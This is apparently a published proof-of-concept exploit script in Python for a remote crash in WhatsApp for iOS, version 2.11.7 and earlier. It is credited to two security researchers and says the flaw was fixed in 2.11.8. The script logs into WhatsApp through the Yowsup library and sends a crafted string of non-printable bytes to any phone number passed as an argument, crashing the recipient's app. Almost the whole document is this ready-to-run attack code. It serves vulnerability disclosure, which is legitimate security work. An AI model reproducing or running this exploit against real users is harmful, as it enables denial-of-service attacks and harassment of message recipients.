WhatsApp < v2.11.7 - Remote Crash

#!/usr/bin/python
#-*- coding: utf-8 -*

# Title: WhatsApp Remote Crash on non-printable characters
# Product: WhatsApp
# Vendor Homepage: http://www.whatsapp.com
# Vulnerable Version(s): 2.11.7 and prior on iOS
# Tested on: WhatsApp v2.11.7 on iPhone 5 running iOS 7.0.4
# Solution Status: Fixed by Vendor on v2.11.8
# Date: 8/04/2014
#
# Authors:
# Jaime Sánchez @segofensiva
# Pablo San Emeterio @psaneme #
# Custom message with non-printable characters will crash any WhatsApp client < v2.11.7 for iOS. # It uses Yowsup library, that provides us with the options of registration, reading/sending messages, and even # engaging in an interactive conversation over WhatsApp protocol # # More info at: # http://www.seguridadofensiva.com/2014/04/crash-en-whatsapp-para-iphone-en-versiones-inferiores-a-2.11.7.html # See the slides of the research/talk at RootedCON 2014 at: # http://www.slideshare.net/segofensiva/whatsapp-mentiras-y-cintas-de-video-rootedcon-2014 import argparse, sys, os, csv from Yowsup.Common.utilities import Utilities from Yowsup.Common.debugger import Debugger from Yowsup.Common.constants import Constants from Examples.CmdClient import WhatsappCmdClient from Examples.EchoClient import WhatsappEchoClient from Examples.ListenerClient import WhatsappListenerClient from Yowsup.Registration.v1.coderequest import WACodeRequest from Yowsup.Registration.v1.regrequest import WARegRequest from Yowsup.Registration.v1.existsrequest import WAExistsRequest from Yowsup.Registration.v2.existsrequest import WAExistsRequest as WAExistsRequestV2 from Yowsup.Registration.v2.coderequest import WACodeRequest as WACodeRequestV2 from Yowsup.Registration.v2.regrequest import WARegRequest as WARegRequestV2 from Yowsup.Contacts.contacts import WAContactsSyncRequest import threading,time, base64 DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth" COUNTRIES_CSV = "countries.csv" DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth" ######## Yowsup Configuration file ##################### # Your configuration should contain info about your login credentials to Whatsapp. This typically consist of 3 fields:\n # phone: Your full phone number including country code, without '+' or '00' # id: This field is used in registration calls (-r|-R|-e), and for login if you are trying to use an existing account that is setup # on a physical device. Whatsapp has recently deprecated using IMEI/MAC to generate the account's password in updated versions # of their clients. Use --v1 switch to try it anyway. Typically this field should contain the phone's IMEI if your account is setup on # a Nokia or an Android device, or the phone's WLAN's MAC Address for iOS devices. If you are not trying to use existing credentials # or want to register, you can leave this field blank or set it to some random text. # password: Password to use for login. You obtain this password when you register using Yowsup. ###################################################### MINE_CONFIG ="config.cfg" def getCredentials(config = DEFAULT_CONFIG): if os.path.isfile(config): f = open(config) phone = "" idx = "" pw = "" cc = "" try: for l in f: line = l.strip() if len(line) and line[0] not in ('#',';'): prep = line.split('#', 1)[0].split(';', 1)[0].split('=', 1) varname = prep[0].strip() val = prep[1].strip() if varname == "phone": phone = val elif varname == "id": idx = val elif varname =="password": pw =val elif varname == "cc": cc = val return (cc, phone, idx, pw); except: pass return 0 def main(phone): credentials = getCredentials(MINE_CONFIG or DEFAULT_CONFIG ) if credentials: countryCode, login, identity, password = credentials identity = Utilities.processIdentity(identity) password = base64.b64decode(password) # Custom message that will crash WhatsApp message = message = "\xf4\xaa\xde\x04\xbf" #print countryCode, login, identity, password wa = WhatsappEchoClient(phone, message) wa.login(login, password) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("number", help="Phone number to send the crash message") parser.add_argument("-v", "--verbose", help="increase output verbosity", action="store_true") args = parser.parse_args() Debugger.enabled = args.verbose main(args.number)